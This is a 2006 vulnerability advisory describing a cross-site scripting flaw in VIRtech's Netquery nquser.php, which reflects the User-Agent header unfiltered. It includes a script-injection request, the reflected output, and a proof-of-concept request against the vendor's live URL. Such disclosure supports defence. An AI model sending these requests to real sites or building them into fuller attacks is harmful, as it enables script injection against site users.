Discovered Date: 04/10/2006
Author: Tal Argoni, LegendaryZion. [talargoni at gmail.com]
Product Vendor: http://www.virtech.org

Details:

VIRtechs Netquery system is prone to a Cross Site Scripting Vulnerability.
The vulnerability exists in "nquser.php" file, caused by the lack of Input
Validation/Filtering
of quotation and HTML characters in the header parameter "User-Agent:".

Part of the http header:

GET http://target/netquery/nquser.php HTTP/1.0
User-Agent: <script>alert('User-Agent:')</script>
...


After send the crafted http header, nquser.php prints the following HTML
code:
------------------------------------------------------------------------------------------------------------------
...
User Agent : <script>alert('User-Agent:')</script><br />
...



Successful exploitation may allow execution of script code. This could also
be exploited to spoof the entire website's content,
create fake login menu's for all the platform's users, commit Denial Of
Service attacks and more...

Proof Of Concept:

GET http://virtech.org/e107/e107_plugins/netquery/nquser.php HTTP/1.0
Accept: */*
Referer: http://virtech.org/tools/
Accept-Language: en-us
